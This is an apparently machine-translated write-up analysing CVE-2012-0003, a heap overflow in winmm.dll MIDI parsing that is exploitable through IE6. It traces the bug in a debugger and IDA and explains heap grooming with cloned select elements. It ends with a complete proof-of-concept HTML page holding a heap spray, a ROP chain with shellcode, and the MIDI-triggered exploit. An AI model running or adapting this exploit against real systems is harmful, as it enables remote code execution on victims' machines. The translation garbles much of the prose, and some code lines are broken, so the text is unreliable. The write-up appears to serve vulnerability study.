Overview
The present process is derived from the vulnerability winmm.dll module processes the MIDI format file, WinMM module midiOutPlayNextPolyEvent function when processing the MIDI data file with deformity may cause memory access and write to the stack outside the specified block, resulting in a heap overflow vulnerability. Using the process of the vulnerability is subtle, and spaced released by applying a continuous heap, the heap blocks are before and after the overflow are filled with the specified data format, and through the overflow to the one-byte data format data, combined jet stack, complete execution of arbitrary code.
lab environment
Winxp sp3
Microsoft Windows Media Player printed books 9.0.0.4503
IE6
Immdbg 1.85
Winmm.dll version 5.1.2600.5512
Vulnerability Analysis
About MIDI file format parsing can view the book "loophole war", not repeat them here.
Use 010editor analysis trigger the vulnerability of test_case.mid file, 0x9fb273 file represents an open event note (NoteOn), according to the analysis later, it is the data 0xb2 cause heap overflow.
Open page heap debugging ie the browser process to facilitate the overflow point in time break down.
Analysis of the information provided in the book poc directory.
Analysis poc.html file, which is loaded with toto.mid found in the directory to the browser, suggesting that the use of the data toto.mid trigger the vulnerability.
After loading using immdbg IE6, and opens poc.html, allow ActiveX execution, the instructions that the program break, with the same book (if using the loading od IE6, different programs at a position off the book, the specific cause is unknown ).
At this point esi is 
, this address is unreadable, so the resulting access exception.
The data in the stack at that time and found that abnormality occurs in the following instruction function
The function information of the book midiOutPlayNextPolyEvent, open the file winmm.dll loopholes in the ida, find the function sub76b2d038, the collapse point is positioned v26 = * v25, v24 and v25 and from v20.
Continue to analyze v20 ultimately derived parameter 1.
void __stdcall sub_76B2D038(int a1)
^
v1 = a1;
^
v20 = *(_DWORD *)(v1 + 132);
And as shown v24 source (in the case of analysis of the same book, pages 113 visible in detail chart).
v1 = a1
^
v2 = *(_DWORD *)(v1 + 60);
^
v9 = * (_ DWORD *) (v2 + 36); v9 + = 4; v1 = a1;
^ ^
v11 = *(_DWORD *)(v9 + v37); > v37 = *(_DWORD *)v2; > v2 = *(_DWORD *)(v1 + 60);
^
v13 = v11 & 0xFFFFFF;
^
v40 = v13 or v40 = BYTE1 (v13);
^
v23 = v40 + ((v21 & 0xF) << 7); > v21 = *(_BYTE *)(v1 + 84); 或 v21 = v13;
^
v24 = ((signed int)v23 - HIDWORD(v23)) >> 1;
Function parameter, v2, v9, v11, v13, v21 recording condition setting breakpoints.
When you set conditional breakpoints winmm.dll poc be opened only after the load, so the previously set breakpoints in this module will fail, so it is necessary to make winmm modules are loaded before the vulnerability function is triggered, ie the process of setting conditions or off point, when winmm off loading module, and then set a breakpoint condition records, taken at this second method.
LoadLibraryA at the breakpoint, ie when under load winmm module off.
Set a breakpoint condition record.
All conditions are recorded as breakpoints. Note that the book is assigned an instruction at conditions specified variable direct recording breakpoint, the breakpoint recorded in a condition where the next instruction assignment instruction.
After recording the conditions set breakpoints completed, f9 continue to run, the program will encounter thrown by shift + f9 continue to ignore the exception, and ultimately get the following log information.
To test immdbg conditional breakpoint is a first recording instruction execution is completed, and then recorded, or the first off, and then recorded again after the execution, so the following tests.
Been tested and found to immdbg should be off the next, and then recorded again after the execution, if an instruction is assigned to the specified value of the variable specified registers, to set a breakpoint in the condition where the recording instruction next to the specified recording value of the variable (register).
Combined log information contents of the book, you can know the program is a crash in the course of treatment Note on (0x9f) event, the idea is to deal with the current Note on (9f) in the event of a program when the program is broken down, analyzed the reason for the collapse.
Set conditional breakpoints, v11 variable when the program is off the next 0x7db29f.
Continue, this time eax is 0x419.
Trigger an exception.
When vulnerability is generated in program processing NoteOn event, the vulnerability will function NoteOn B2 event parameter calculation, the calculation result as an offset 0x7a98c00 addressed 0x419, causing a memory access exception.
And where esi value 0x7a98c00 come from? Analysis found values ida esi corresponding variable v20.
Before analyzed the source v20.
void __stdcall sub_76B2D038(int a1)
v1 = a1;
v20 = *(_DWORD *)(v1 + 132);
Most found v20 from vulnerabilities function parameters a1, the upper function call to the function of the vulnerability analysis.
After analyzing the upper Function Vulnerability function is sub_76b2d296, sub_76b2d038 parameters of the function call from dword_76b316f4.
By cross-reference, it is referenced in the function dword_76b316f4 found in sub_76b2cdaa.
In the function sub_76b2cdaa in dword_76b316f4 it has been assigned.
V7 traced the source of the variable.
In summary variable transmission as follows.
*(DWORD*)(V7+132)=V8
dword_76B316F4 = v7
v6 = dword_76B316F4
sub_76B2D038(v6)
v1 = a1; (a1 i.e., on an in V6)
v20 = *(_DWORD *)(v1 + 132);
Therefore v20 = * (_ DWORD *) (v1 + 132) = * (DWORD *) (V7 + 132) = V8
And the return value is a function v8 sub_76B2B29D (1024) ;, enter the function can be found, the function for application 1024 (0x400) bytes of memory space, the address of the first memory space v8 is the desired application.
Thus v20 is the first address of the memory space of the size of 0x400 bytes, the vulnerability in the triggering process, the address plus 0x419 (obtained by the correlation parameter calculation NoteOn event trigger vulnerability) addressable memory space as the memory address, since application memory space only 0x400 bytes, the access to the address exception, an exception.
Exploit
If you want to understand the process of utilizing this vulnerability, we need to figure out a premise.
As FIG, 1, if the value esi changed to a read-write memory address, the program will continue execution at the location trigger the vulnerability, and in position 2, one byte will be obtained from the data at the 1 by 1, then the value of the instruction 3 written back to its original position, after the exploits founded on the premise of the program.
Vulnerability Analysis War book with information provided (see POC1), use can be found in addition to the stack injection poc, exploit the key point is to construct an element selob select class, the element 64 is set in the attribute, wherein only the first two properties are strings w1, corresponding string of unicode% u1be4% u0c0c, covering the suspected memory addressing for the stack injection.
After creating an array of size of clones 1000, using the method cloneNode selob selob copied to the array element cycle, then after selob element spacing in the array is released.
Why make such a memory arranged it? The analysis of the book, when the html elements for replication, will be used to CElement :: Clone function, which is located IE parsing module msthml.dll html file, internal CElement :: Clone function calls CAttrArray :: Clone select function is used to copy attributes earth elements, which will apply for 0x10 bytes of memory space attribute for each element, in the following steps:
By loading the symbol file, locate the IDA to CAttrArray :: Clone function CElement :: Clone function and its internal call.
CAttrArray :: Clone function attribute for memory space select earth elements.
Before a configuration of a select-earth element selob total of 0x40 (64) attributes, each element will occupy selob 0x10 * 0x40 = 0x400 bytes of memory (heap and cause overflow memory space equal size), the size of the memory space high-volume applications simultaneously and release interval, it is clear that the purpose of the sub_76B2B29D function previously discussed heap space occupied spaced released when applying 0x400 bytes of heap space, then what is the purpose of doing so is it?
When spilled 0x400 bytes selob heap space immediately behind the element, resulting in an overflow exception instruction accesses the first address + 0x419 heap memory, so that access to the memory space selob element, will have access to the particular selob element start address of memory space offset 0x19, selob element 64 properties, each occupying memory space of size 0x10, and 0x19 shifted exactly selob access to the second element of the first address memory attribute this property is mentioned before, selob elements only a property of type string. According to the memory element distribution selob attribute indicating a type of the attribute data on the attribute data at the beginning, so the exception instruction mov al, [esi] is acquired in the second type of element selob attribute indicates the attribute word section data.
String 0x08 indicates memory type attribute, attribute type of 0x09 represents the Object, and the operation will be abnormal after the instruction fetch 0x08 increment the write-back memory space 1, when the second type of element attribute becomes selob became Object type, so long as the search for the second attribute in the existing elements of type Object selob elements that can be positioned to stack overflow selob element as modified, if at this time the call attribute corresponding to the second element process (i.e., clones [k] .w1 ( 'come on!');), you may be string data (i.e., "% u1be4% u0c0c") as a virtual table pointer references to hijack the program execution attribute string Process.
Found that a byte of data is not abnormal instruction fetched 0x8 in actual experiment, it is necessary to record the first memory address bound access memory, the first address being requested select element, the first element of the select address is released, thereby observing the bounds access memory is allocated to the memory location to be released in select elements.
The first element is the address select applications.
The first address is released in select elements.
It is the first cross-border access memory address.
Breakpoint setting condition recorded in all three positions.
During operation will be reported abnormal, use shift + f9 continue to ignore the exception.
Logs can be seen by cross-border access memory footprint of select elements of free memory, and memory before and after the select element are occupied.
In exceptional command at the program break, the instruction memory and the implementation of FIG follows this case does not point 0x8 esi, according to the log information memory observation shows that the presence of other contents between the memory and VulBuffer select element, which can lead to failure of the exploit.
Press f9 continue.
At this time, because the memory is the first address VulBuffer 0x22f340, eax case of 0x419, it is a sum of both esi 0x22F759, i.e., an abnormal start instruction after access to memory locations 0x19 VulBuffer memory range.
At this time a byte of data taken as 0x55, and instead of 0x8.
Press f9 execution continues at this time with the first register value in the exception instruction at the same off, then program execution continues so that the program can not modify the properties of the select element correctly.
A second test debugging, memory allocation is as follows.
The first program instruction of the exception at the time of breaking.
The second in command at the break abnormal, is ready to read 0x19 bytes after VulBuffer memory data, attribute data can not be read correctly.
Memory arranged in two tests compare the heap.
the first time.
the second time.
After two contrast found between the offset and the VulBuffer Select element is constant, if the offset memory access instruction execution can be recalculated abnormality can be modified to specify the contents of a byte.
After previous analysis may know, the offset memory access can be controlled by modifying the parameters b2 NoteOn events
Cve-2012-0003-ie6.html be seen by analyzing the file, which triggers the vulnerability by test_case.mid file to load the same directory, it is possible to offset the impact of the final memory access by modifying the parameters test_case.mid file NoteOne event.
Recalling the previously calculated offset.
The memory layout previously analyzed, if you want to access the attribute String select element need VulBuffer final offset rearwardly from 10 * 16 + 9 = 169 = 0xa9, then it must be the original 0x419 0x4a9, pushed up against the original must 0x832 0x952, 0xb2 original must 0x1d2, at which time the data of more than one byte, the file can not be modified test_case.mid.
Even if the first element to modify a select attribute String type, thus reducing the required number of bytes offset through calculations need to be modified to 0xb2 0x1b2, still more than one byte.
Currently exploit deadlocked.
Speculated that the contents of memory between VulBuffer and select elements in debug mode and open ie browser-related, which may result in a heap for debugging state process heap instead of the normal heap.
Ie additional debugging process, identify problems before still exist.
Try cve-2012-0003-ie6.htm file payload modify the code for the pop-up calculator, then do not run directly in ie6 in debugging, testing whether the normal exploits, identify vulnerabilities, exploits can not be normal, indicating VulBuffer and select memory contents between elements may not be the cause of the debug heap structure.
Content before summary "loophole War," a book set parameters b2 test_case.mid file NoteOn event, the opportunity to obtain access offset 0x19 after VulBuffer memory, but this time exploits and obstacles arise VulBuffer there are a lot of other memory content between select elements, resulting String attribute select elements can not be modified correctly.
We propose a guess: the contents of memory between VulBuffer and select elements may be due to the debug heap structure produced, and modify the exploit payload hard-coded in (set to pop-up calculator to observe whether the vulnerability exploit success), will exploit directly in ie6 run directly, thus avoiding the problem of debugging heap, but still can not successfully exploited.
Then temporarily ignore this problem, if memory contents between VulBuffer and select element does not exist, so if you want to modify String attribute select elements, how much deviation from after VulBuffer memory? By observation, String attribute select elements from the first select element address offset 8 + 16 + 9 = 33 = 0x21, (not added at this time where the heap block select element Duitou 8 bytes, the latter will be corrected analysis ).
Then it must be the original 0x419 0x421, 0x832 original push up the reverse must 0x842, original 0xb2 must 0xc2, this time in order to modify the file test_case.mid.
After several debugging found that sometimes VulBuffer and select elements will be in close proximity, this time need to be modified attribute memory offset short distance VulBuffer, it can be utilized.
At this time, offset 0x421 esi such as 0x028bbaa9, but still not enough not String attribute memory access, but also moved backward 8 bytes, the 8-byte data Duitou presumed to select elements of blocks occupied by the stack, so String attribute element from the first select address offset should be 0x21 + 0x8 = 0x29, this time will be forced into esi 0x028bbab1, exploit the success of the test.
String attribute memory to take data 0x8.
String corresponding to the type of memory to be modified.
F9 continue to run a successful pop-up calculator! .
In the above case, the memory offset for the corresponding attribute String 16 * 2 + 9 = 41 = 0x29 - "0x429-" 0x852- "0xd2
So as to modify the corresponding content test_case.mid 0xd2.
Then debugging found off instruction is actually modified to access VulbBuffer 0x429 bytes of memory content after the first address, but this time more out between VulBuffer and select the contents of the memory element still exists, making the exploit fails, presumably this is the book when talking about the exp in winxp sp2 / sp3 + ie6 environment can not take advantage of a 100% success, only the current memory contents between the figure VulBuffer and select element does not exist, to successfully exploit the vulnerability. The specific meaning of the memory contents are still unclear, presumably related to the author of the test environment.
poc1
<html>
<head>
<script language='javascript'>
var chunk_size, payload, nopsled;
chunk_size = 0x100000;
payload = unescape("% U7f98% u7c34% ub4c2% u76c9% u1441% ufe97% u6402% u7c37% u6402% u7c37% u7f97% u7c34% uf800% uffff% u1e05% u7c35% u4901% u7c35% uffff% uffff% u5255% u7c34% u2174% u7c35% u4f87 % u7c34% uffc0% uffff% u1eb1% u7c35% ud201% u7c34% ub001% u7c38% ub8d7% u7c34% u7f98% u7c34% u4802% u7c36% u15a2% u7c34% u7f97% u7c34% ua151% u7c37% u8c81% u7c37% u5c30% u7c34 % uf618% u37eb% ubbb8% u0a77% uc7fe% ue2c1% u0073% u7fe1% u7047% u931c% u0390% u75d6% u252f% ub44f% u7124% ub14b% u0478% u86a9% uc0ff% u41e0% u66a8% ub340% uf981% u96b9% u1d14 % ue33a% uf523% u7b97% u7642% ub62d% uba27% u6798% ud433% uf809% ud510% u88b0% u9ffc% u0c4e% u437c% ub58d% u929b% u0248% u15fd% u057d% ub4bf% u72b7% u3c7c% u3d2c% u7541% u350d % ue030% u254e% u4a96% u0498% u7e47% ud008% u67e1% uf619% ub8d4% ufc39% u9b66% ue384% u4378% u76ba% u027b% u0aeb% u89d5% u4bd6% u1d74% u92b0% UB18D% u7f73% u2b77% ub2f5% u9327 % u7924% u9940% u8514% uf90b% u1cfd% ub60c% u2db5% u202f% u46f8% u38a9% u42e2% u7034% ubb3f% ub9bf% u9091% u3749% u4f48% u97be% ub39f% u7a71% u1505% u29a8% u13e1% ubbfc% u7698% ud423% u2579% u3fb9% u347c% u9197% u3c1d% ub093% u428d% u0004% u9ff9% u1073% u48f5% u774e% ub467% u4775% u4a7e% u3505% ub1b6% ud180% u7be3% u1446% u2f71% u15b2% u70bf% u4b37% ua841% ub32c% u90be% u874f% uc1c7% u7fe2% u330d% u99fd% u27a9% ud532% u9643% u7274% u117a% u21e0% uebf7% u7840% u9b0c% u3d92% ub7b5% u667d% u492d% ub8ba% ud68c% uf812% u1c24% ub0ba% u677d% u2fb7% u4a42% u774e% u2204% u7eeb% u7515% ub44f% u9837% ua993% u30a8% u2de0% u81b3% u7cd6% u0574% u4373% u49b9% u9024% u712c% ue231% u9225% u14b2% u1d9f% u0899% u0cf8% ub53c% ud33b% u47e3% u2827% u7bfc% u6640% u359b% u1ab6% u83f5% u1be1% ubff9% u7096% ubb3f% u4676% ub1be% u7f3d% ud518% u417a% u6978% u97d4% u1c91% u880d% u34fd% u8d4b% u72b8% u7079% u7772% u787d% ua848% u91b1% u0967% u25e1% u7f7a% u9234% u7eb3% ub235% ubab9% u71a9% u0375% ubef5% u154f% u4a37% ufc6b% u868d% uc6ff% ufdc0% u244b% ub7bb% ub59f% u7604% ue22a% u4746% u9793% u7398% u743c% u3d14% ud23a% ub0d4% ud569% u43bf% u9049% u2d2c% u7c27% ub80c% u0542% u7996% u9b66% u013f% u4ee0% ue338% u3948% u1cf9% u0d1d% u7bb4% u2940% ub6f8% u8641% u2feb% u0899% u2ad6% u7de1% u7f76% u8c3d% ud3d2% u3cd6% u749b% ufc13% u8dbb% u667b% u1d93% u87b5% ue0f7% u7748% uf820% ud403% u73b9% u1434% ufd32% u09b3% u7ce2% uf56b% u274b% ub296% uba98% u4679% u2f97% u7eb4% ube67% u70b8% u912c% u4090% u7ab1% u2d75% u0d72% ua825% u9243% uf989% u9f35% u31b6% u41eb% u0cbf% u3f47% u1804% u49e3% u0599% u244f% ub0b7% u1ca9% u3778% uf633% u4ad5% u4e15% u7142% u4275% u66b3% ub2ba% u8467% u93f5% u49b8% u798d% ue301% u7f78% u0d2f% u9ba8% u831d% u12e1% u43e0% ua915% u9791% ud585% u713c% u7e4b% ube2d% u3f24% ud10a% uc1fe% ubbf8% u0b14% u96d6% u044a% ueb19% u2c73% u7776% u4e34% u7d72% uf91a% ub1b6% ud030% u48d4% u7a25% ub746% u0290% u10fd% u7ce2% u4740% ubf99% u7074% u353d% u7bb0% u9f1c% u4f92% u3771% u7598% ufc3a% u0c7c% u70b9% u7f27% ub441% u73b5% u7805% ud61b% u217a% u41e0% u7490% u9637% u7998% uf800% u047d% ue381% u672d% ub73f% uc011% u3deb% u918d%u4205%u7724%u8025%ub6fc%u4a9b%ud53b%u2772%u2cb3%u9940%u7634%ufd28%u4b3c%u1c7e%u4666%ue2b4%u4f14%u4e43%u88bb%u0de1%ua89f%uba92%ubfb0%u97a9%u2248%ub1d4%ub947%u0c7b%u35be%u23b5%u2ff9%u151d%u93b8%u2bb2%u49f5%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063");
nopsled = unescape("%u0c0c%u0c0c");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled nopsled.substring = (0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < 0x100 ; i++)
heap_chunks[i] = nopsled + payload;
</script>
<script language='javascript'>
var selob = document.createElement("select")
selob.w0 = alert
selob.w1 = unescape("%u1be4%u0c0c")
selob.w2 = alert
selob.w3 = alert
selob.w4 = alert
selob.w5 = alert
selob.w6 = alert
selob.w7 = alert
selob.w8 = alert
selob.w9 = alert
selob.w10 = alert
selob.w11 = alert
selob.w12 = alert
selob.w13 = alert
selob.w14 = alert
selob.w15 = alert
selob.w16 = alert
selob.w17 = alert
selob.w18 = alert
selob.w19 = alert
selob.w20 = alert
selob.w21 = alert
selob.w22 = alert
selob.w23 = alert
selob.w24 = alert
selob.w25 = alert
selob.w26 = alert
selob.w27 = alert
selob.w28 = alert
selob.w29 = alert
selob.w30 = alert
selob.w31 = alert
selob.w32 = alert
selob.w33 = alert
selob.w34 = alert
selob.w35 = alert
selob.w36 = alert
selob.w37 = alert
selob.w38 = alert
selob.w39 = alert
selob.w40 = alert
selob.w41 = alert
selob.w42 = alert
selob.w43 = alert
selob.w44 = alert
selob.w45 = alert
selob.w46 = alert
selob.w47 = alert
selob.w48 = alert
selob.w49 = alert
selob.w50 = alert
selob.w51 = alert
selob.w52 = alert
selob.w53 = alert
selob.w54 = alert
selob.w55 = alert
selob.w56 = alert
selob.w57 = alert
selob.w58 = alert
selob.w59 = alert
selob.w60 = alert
selob.w61 = alert
selob.w62 = alert
selob.w63 = alert
var clones=new Array(1000);
function feng_shui () {
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
where j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui ();
function trigger(){
There are k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui ();
document.audio.Play();
}
</script>
<script for=audio event=PlayStateChange(oldState,newState)>
if (oldState == 3 && newState == 0) {
trigger();
}
</script>
</head>
<body>
<object ID="audio" WIDTH=1 HEIGHT=1 CLASSID="CLSID:22D6F312-B0F6-11D0-94AB-0080C74C7E95">
<param name="fileName" value="test_case.mid">
<param name="SendPlayStateChangeEvents" value="true">
<param NAME="AutoStart" value="True">
<param name="uiMode" value="mini">
<param name="Volume" value="-300">
</object>
</body>
</html>